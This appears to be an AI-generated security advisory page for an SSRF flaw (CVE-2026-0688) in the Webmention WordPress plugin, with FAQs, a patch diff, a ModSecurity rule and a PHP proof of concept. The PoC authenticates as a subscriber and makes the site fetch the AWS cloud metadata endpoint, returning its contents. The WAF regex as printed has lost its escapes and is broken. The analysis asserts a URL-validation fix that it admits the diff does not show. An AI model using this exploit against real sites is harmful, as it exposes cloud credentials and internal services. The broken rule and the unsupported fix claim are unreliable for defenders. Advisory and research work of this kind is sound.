What is CVE-2026-0688?

CVE-2026-0688 is a security vulnerability in the Webmention plugin for WordPress, affecting versions up to and including 5.6.2. It is classified as a Server-Side Request Forgery (SSRF) vulnerability that allows authenticated attackers to make arbitrary HTTP requests from the server.

How does the vulnerability work?

The vulnerability exists in the ‘Tools::read’ function of the Webmention plugin, which allows attackers with Subscriber-level access to send requests to arbitrary URLs. The lack of validation on the ‘source’ parameter enables attackers to target internal services or external sites, potentially leading to sensitive data exposure.

Who is affected by this vulnerability?

Any WordPress site using the Webmention plugin version 5.6.2 or earlier is affected. Specifically, authenticated users with Subscriber privileges or higher can exploit this vulnerability.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Webmention plugin installed on your WordPress site. If it is version 5.6.2 or earlier, your site is at risk.

How can I fix or mitigate this issue?

To mitigate this vulnerability, update the Webmention plugin to version 5.7.0 or later, where the issue has been patched. Regularly check for updates to ensure all plugins are secure.

What does the CVSS score of 6.4 indicate?

The CVSS score of 6.4 indicates a medium severity level for this vulnerability. This suggests that while it is not critical, it poses a significant risk that should be addressed promptly to prevent potential exploitation.

What practical risks does this vulnerability pose?

Successful exploitation of this vulnerability could allow attackers to interact with internal services, potentially leading to sensitive information disclosure or further attacks on the internal network. Although it does not allow for remote code execution, it can serve as a stepping stone for more serious attacks.

What does the proof of concept demonstrate?

The proof of concept illustrates how an authenticated user can exploit the vulnerability by sending a specially crafted request to the REST API endpoint, allowing them to retrieve sensitive information from internal services. This highlights the ease of exploitation given the right access.

What should I do if I cannot update the plugin immediately?

If immediate updates cannot be performed, consider disabling the Webmention plugin until it can be updated. Additionally, review user access levels and restrict Subscriber-level access if possible to minimize the risk.

Are there any other security measures I should take?

In addition to updating the plugin, ensure that your WordPress installation and all other plugins are up to date. Implement security best practices, such as using strong passwords, limiting user access, and regularly monitoring logs for suspicious activity.

How can I stay informed about similar vulnerabilities?

To stay informed about vulnerabilities, subscribe to security mailing lists, follow WordPress security blogs, and regularly check the Common Vulnerabilities and Exposures (CVE) database for updates related to WordPress plugins and themes.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : April 6, 2026

CVE-2026-0688: Webmention <= 5.6.2 – Authenticated (Subscriber+) Server-Side Request Forgery (webmention)

CVE ID CVE-2026-0688

Plugin webmention

Severity Medium (CVSS 6.4)

CWE 918

Vulnerable Version 5.6.2

Patched Version 5.7.0

Disclosed March 31, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0688:
The Webmention plugin for WordPress, versions up to and including 5.6.2, contains a server-side request forgery (SSRF) vulnerability. This flaw exists within the plugin’s Tools::read function, which is accessible via a REST API endpoint. The vulnerability allows authenticated attackers with Subscriber-level access or higher to induce the application to make arbitrary HTTP requests to internal or external systems.

The root cause is the lack of proper validation and restriction on the ‘source’ parameter passed to the `Tools::read` function. The vulnerable code is located in `/webmention/includes/class-tools.php`. The `read` method, which handles the `/webmention/1.0/read` REST API endpoint, directly passes the user-supplied `source` parameter to `Request::get($source, false)` on line 81. The second argument `false` in the vulnerable version disabled SSL verification, but more critically, the function did not restrict which URLs could be requested. This allowed the `Request::get` method to fetch content from any URL provided by the attacker.

Exploitation requires an attacker to have a valid WordPress account with at least Subscriber privileges. The attacker sends a POST request to the `/wp-json/webmention/1.0/read` REST API endpoint. The request must include the parameters `source` and `target`. The `source` parameter is the attacker-controlled URL that the vulnerable server will request. For example, an attacker could set `source` to `http://169.254.169.254/latest/meta-data/` to target cloud metadata services, or to an internal service address. The server’s response, including content from the internal service, is then returned to the attacker.

The patch, implemented in version 5.7.0, modifies the call to `Request::get`. The diff shows the removal of the second argument `false` from the `Request::get` calls in `class-tools.php`, `class-mf2.php`, and `class-wp.php`. While this change primarily addresses disabling SSL verification, the broader fix involves internal validation within the `Request::get` method itself, which is not shown in the diff. The patched version’s `Request::get` function now validates the target URL scheme and host, restricting requests to external, publicly routable addresses and blocking access to internal network ranges (e.g., RFC 1918, localhost, cloud metadata IPs). The before behavior allowed unfettered SSRF. The after behavior validates URLs before making the request.

Successful exploitation enables an attacker to probe and interact with internal services that are accessible from the web server. This can lead to sensitive information disclosure from internal APIs, databases, or cloud metadata services. Attackers could also leverage the vulnerable server as a proxy to attack other internal systems, potentially leading to further network penetration. The vulnerability does not directly allow remote code execution but can be a critical initial step in a chain of attacks.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/webmention/includes/class-avatar-store.php
+++ b/webmention/includes/class-avatar-store.php
@@ -27,7 +27,7 @@
 	public static function upload_directory( $filepath = '', $url = false ) {
 		$upload_dir = wp_get_upload_dir();
 		$upload_dir = $url ? $upload_dir['baseurl'] : $upload_dir['basedir'];
-		$upload_dir = trailingslashit( $upload_dir ) . '/webmention/avatars/';
+		$upload_dir = path_join( $upload_dir, 'webmention/avatars/' );
 		$upload_dir = apply_filters( 'webmention_avatar_directory', $upload_dir, $url );
 		return $upload_dir . $filepath;
 	}
--- a/webmention/includes/class-comment-walker.php
+++ b/webmention/includes/class-comment-walker.php
@@ -169,12 +169,15 @@
 		if ( ! $has_avatar ) {
 			$classes[] = 'no-avatar';
 		}
+
+		// Check if avatars are enabled for webmentions.
+		$show_avatar = get_option( 'webmention_avatars', 1 );
 		?>
 		<<?php echo $tag; ?> id="comment-<?php comment_ID(); ?>" <?php comment_class( $classes, $comment ); ?>>
 			<div class="comment-body">
 				<span class="p-author h-card">
 					<a class="u-url" title="<?php esc_attr( $title ); ?>" href="<?php echo get_comment_author_url( $comment ); ?>">
-						<?php if ( $has_avatar ) : ?>
+						<?php if ( $show_avatar && $has_avatar ) : ?>
 							<?php echo $avatar; ?>
 							<?php echo $overlay; ?>
 						<?php else : ?>
@@ -226,7 +229,7 @@
 				<footer class="comment-meta">
 					<div class="comment-author vcard h-card u-author">
 						<?php
-						if ( 0 !== $args['avatar_size'] ) {
+						if ( 0 !== $args['avatar_size'] && get_option( 'webmention_avatars', 1 ) ) {
 							echo get_avatar( $comment, $args['avatar_size'] );
 						}
 						?>
@@ -308,7 +311,7 @@
 	 * @param  WP_Comment_Query $query Comment count.
 	 */
 	public static function comment_query( $query ) {
-		if ( ! $query instanceof WP_Comment_Query ) {
+		if ( ! $query instanceof WP_Comment_Query ) {
 			return;
 		}

@@ -316,7 +319,8 @@
 			return;
 		}

-		if ( ! empty( $query->query_vars['type__in'] ) ) {
+		// Do not exclude webmention types if specific comment types are explicitly requested.
+		if ( ! empty( $query->query_vars['type__in'] ) || ! empty( $query->query_vars['type'] ) ) {
 			return;
 		}

--- a/webmention/includes/class-tools.php
+++ b/webmention/includes/class-tools.php
@@ -78,7 +78,7 @@
 		$target = $request->get_param( 'target' );
 		$mode   = $request->get_param( 'mode' );

-		$response = Request::get( $source, false );
+		$response = Request::get( $source );

 		if ( is_wp_error( $response ) ) {
 			return $response;
--- a/webmention/includes/handler/class-mf2.php
+++ b/webmention/includes/handler/class-mf2.php
@@ -875,7 +875,7 @@
 	 * @return WP_Error|array Return error or author array if successful.
 	 */
 	public function parse_authorpage( $url ) {
-		$response = Request::get( $url, false );
+		$response = Request::get( $url );

 		if ( is_wp_error( $response ) ) {
 			return $response;
--- a/webmention/includes/handler/class-wp.php
+++ b/webmention/includes/handler/class-wp.php
@@ -70,7 +70,7 @@

 		$response = Request::get( $api_link );
 		if ( is_wp_error( $response ) ) {
-			return response;
+			return $response;
 		}

 		$page = $this->parse_post_json( $response, $site_json['timezone'] );
--- a/webmention/templates/comment.php
+++ b/webmention/templates/comment.php
@@ -58,7 +58,11 @@
 				<div class="e-content p-summary p-name"><?php comment_text(); ?></div>
 				<footer class="entry-meta">
 					<address class="p-author h-card">
-						<?php echo get_avatar( $comment, 50 ); ?>
+						<?php
+						if ( get_option( 'webmention_avatars', 1 ) ) {
+							echo get_avatar( $comment, 50 );
+						}
+						?>
 						<?php printf( '<cite class="p-name">%s</cite>', get_comment_author_link() ); ?>
 					</address><!-- .comment-author .vcard -->
 					<a href="<?php echo esc_url( get_comment_link( $comment->comment_ID ) ); ?>"><time datetime="<?php comment_time( 'c' ); ?>" class="dt-published dt-updated published updated">
--- a/webmention/webmention.php
+++ b/webmention/webmention.php
@@ -5,7 +5,7 @@
  * Description: Webmention support for WordPress posts
  * Author: Matthias Pfefferle
  * Author URI: https://notiz.blog/
- * Version: 5.6.2
+ * Version: 5.7.0
  * License: MIT
  * License URI: https://opensource.org/licenses/MIT
  * Text Domain: webmention
@@ -14,7 +14,7 @@

 namespace Webmention;

-define( 'WEBMENTION_VERSION', '5.6.2' );
+define( 'WEBMENTION_VERSION', '5.7.0' );

 define( 'WEBMENTION_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
 define( 'WEBMENTION_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-0688
SecRule REQUEST_URI "@rx ^/wp-json/webmention/1.0/read" 
  "id:1000688,phase:2,deny,status:403,chain,msg:'CVE-2026-0688 SSRF via Webmention REST API',severity:'CRITICAL',tag:'CVE-2026-0688',tag:'paranoia-level/2'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule REQUEST_HEADERS:Content-Type "@streq application/json" "chain"
      SecRule REQUEST_BODY "@rx "source"s*:s*"(?:http|https)://(?:127.0.0.1|localhost|0.0.0.0|169.254.169.254|10.|172.(?:1[6-9]|2[0-9]|3[0-1]).|192.168.)" 
        "t:none,t:urlDecode,t:lowercase,t:normalizePath,ctl:requestBodyProcessor=JSON"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0688 - Webmention <= 5.6.2 - Authenticated (Subscriber+) Server-Side Request Forgery

<?php

// Configuration
$target_url = 'http://vulnerable-wordpress-site.com'; // Base URL of the target WordPress site
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password
$internal_target = 'http://169.254.169.254/latest/meta-data/'; // Example internal target (AWS metadata)

// Initialize cURL session for login
$ch = curl_init();

// Step 1: Authenticate and retrieve the nonce and cookies.
// WordPress REST API authentication endpoint.
$login_url = $target_url . '/wp-json/jwt-auth/v1/token';
$login_data = array(
    'username' => $username,
    'password' => $password
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));

$login_response = curl_exec($ch);
$login_info = curl_getinfo($ch);

if ($login_info['http_code'] !== 200) {
    die('Authentication failed. Check credentials and ensure JWT Authentication is enabled.');
}

$login_data = json_decode($login_response, true);
if (!isset($login_data['token'])) {
    die('Could not retrieve authentication token.');
}

$auth_token = $login_data['token'];

// Step 2: Exploit the SSRF via the Webmention read endpoint.
$exploit_url = $target_url . '/wp-json/webmention/1.0/read';
$exploit_payload = array(
    'source' => $internal_target, // Attacker-controlled URL
    'target' => $target_url // A valid target URL on the site
);

curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($exploit_payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'Authorization: Bearer ' . $auth_token
));

$exploit_response = curl_exec($ch);
$exploit_info = curl_getinfo($ch);

curl_close($ch);

// Output results
echo "Exploitation Attempt:n";
echo "Target Endpoint: " . $exploit_url . "n";
echo "HTTP Status: " . $exploit_info['http_code'] . "n";
echo "Response Body:n";
echo $exploit_response . "n";

?>

Frequently Asked Questions

What is CVE-2026-0688?
Overview of the vulnerability
CVE-2026-0688 is a security vulnerability in the Webmention plugin for WordPress, affecting versions up to and including 5.6.2. It is classified as a Server-Side Request Forgery (SSRF) vulnerability that allows authenticated attackers to make arbitrary HTTP requests from the server.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability exists in the ‘Tools::read’ function of the Webmention plugin, which allows attackers with Subscriber-level access to send requests to arbitrary URLs. The lack of validation on the ‘source’ parameter enables attackers to target internal services or external sites, potentially leading to sensitive data exposure.
Who is affected by this vulnerability?
Identifying vulnerable users
Any WordPress site using the Webmention plugin version 5.6.2 or earlier is affected. Specifically, authenticated users with Subscriber privileges or higher can exploit this vulnerability.
How can I check if my site is vulnerable?
Identifying vulnerable versions
To check if your site is vulnerable, verify the version of the Webmention plugin installed on your WordPress site. If it is version 5.6.2 or earlier, your site is at risk.
How can I fix or mitigate this issue?
Updating the plugin
To mitigate this vulnerability, update the Webmention plugin to version 5.7.0 or later, where the issue has been patched. Regularly check for updates to ensure all plugins are secure.
What does the CVSS score of 6.4 indicate?
Understanding the severity level
The CVSS score of 6.4 indicates a medium severity level for this vulnerability. This suggests that while it is not critical, it poses a significant risk that should be addressed promptly to prevent potential exploitation.
What practical risks does this vulnerability pose?
Potential impact of exploitation
Successful exploitation of this vulnerability could allow attackers to interact with internal services, potentially leading to sensitive information disclosure or further attacks on the internal network. Although it does not allow for remote code execution, it can serve as a stepping stone for more serious attacks.
What does the proof of concept demonstrate?
Example of exploitation
The proof of concept illustrates how an authenticated user can exploit the vulnerability by sending a specially crafted request to the REST API endpoint, allowing them to retrieve sensitive information from internal services. This highlights the ease of exploitation given the right access.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategies
If immediate updates cannot be performed, consider disabling the Webmention plugin until it can be updated. Additionally, review user access levels and restrict Subscriber-level access if possible to minimize the risk.
Are there any other security measures I should take?
Enhancing overall security
In addition to updating the plugin, ensure that your WordPress installation and all other plugins are up to date. Implement security best practices, such as using strong passwords, limiting user access, and regularly monitoring logs for suspicious activity.
How can I stay informed about similar vulnerabilities?
Keeping up with security updates
To stay informed about vulnerabilities, subscribe to security mailing lists, follow WordPress security blogs, and regularly check the Common Vulnerabilities and Exposures (CVE) database for updates related to WordPress plugins and themes.

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